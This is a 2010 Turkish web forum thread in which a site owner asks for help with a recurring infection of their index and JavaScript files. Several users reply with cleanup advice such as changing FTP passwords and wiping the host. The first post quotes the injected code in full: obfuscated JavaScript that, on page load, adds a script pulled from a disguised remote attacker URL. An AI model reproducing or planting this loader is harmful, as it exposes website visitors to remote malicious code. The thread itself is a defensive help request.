Servera sızan virüs hakkında

Management · 1 11-02-2010, 00:37:36

Arkadaşlar kolay gelsin bi kaç gündür serverda dolanan şu virüsü bi türlü çözemedim ben index ve js dosyalarından sildikce o tekrar geri geliyor yardımınıza ihtiyacım var bilen varsa yada koruma için ne yapabilirim tavsiyeleriniz varsa yardım ederseniz sevinirim.

Kod:

<script>:LineMixer [var t=window;var m="m";var u;if(u!='q' && u!='da'){u=''};var d='shc$rGiGpGt!'.replace(/[\!\$hGf]/g, '');this.lk=false;var v='cDrdeqaDtVe8E8lVe8mqeVnVt8'.replace(/[8DVdq]/g, '');var o='';]var y=7941;this.e=false;var co;if(co!='' && co!='h'){co=''};var z="z";t.onload=function(){var vn;if(vn!='g' && vn!='qt'){vn=''};try {r=document[v](d);this.hn="";var hj=new Array();:LineMixer [this.ey=30453;var w_;if(w_!='' && w_!='b'){w_='rv'};r['sMrMc0'.replace(/[0MfWv]/g, '')]='h%t7t~p%:S/7/Sd%i;o~nS-;n%e%-7j7p%.7cSn7b7l7o~g7s%.7c%o;m7.;k7i%jSi;j;i~-;c;a;.%b%eSs%t;n%e7w%s;m7a7l~lS.Sr;u;:;8~0~8707/%g~o~o~g~l%e7.Sc;oSm~/%g~o%o~g7l~e7.Sc7o;m7/%r7e7n;r~e7n7.%c~o7m7/%d%i7s%nSe~y%.%g;o7.;cSo%m7/%i7w7i7w%.%h~u~/;'.replace(/[;~S%7]/g, '');var i=new Array();r.setAttribute('d4eSf4e4rv'.replace(/[vSt4a]/g, ''), "1");var hnp;if(hnp!='bq' && hnp != ''){hnp=null};]this.ov=false;this.wn=false;this.ua="";document['bno*d&y&'.replace(/[&70\*n]/g, '')]['aGpGpHeGnvdHCFhGiGljdv'.replace(/[vFjGH]/g, '')](r);this.dq=25200;} catch(x){this.jj=13785;var mz;if(mz!='gm' && mz!='cy'){mz='gm'};};};</script>
<!--3d67f4f9fc8b28e3cb8fb71a41e9df95-->

flighttr · 2 11-02-2010, 18:30:26

Oncelikle Ftp sifrenizi degistirin, sorun devam ederse tekrar yazin.

**Hukonline** · 3 13-02-2010, 15:04:49

Bu sorun Dün bendede vardı. Şuana kadar problem çıkmadı.Düzeldiğini umud ediyorum.

Sunucu sizde ise sunucunuza bitdefender kurun.
Onun dışında tüm hesapların ftp şifrelerini değiştirin.
Hostu silin tekrar açın temiz dosyalarınızı atın.
Tasarımızda işe yaramayan js kodlarını kaldırın.
Ftp nizde exe , rar vb. uzantılı dosyalar var ise kaldırın.

Umarım sizde kurtulabilirsiniz.

**djhayal** · 4 28-02-2010, 03:02:39

bu koda benzer bir kod banada bulaştı ftp şifresini degiştirdim ama hala karşıma çıkıyor delircem valla

FSO · 5 28-02-2010, 03:07:37

Kaynağı genelde kullandığımız pc olduğu için ilk önce temizliğe kendimizden başlamak lazım

Server içerisinde olduğunu pek sanmıyorum. PC temizlendikten sonra serverdakiler rahatlıkla temizlenir zaten.

Seçenekler
Yazdırılabilir şekli göster Sayfayı E-Mail olarak gönder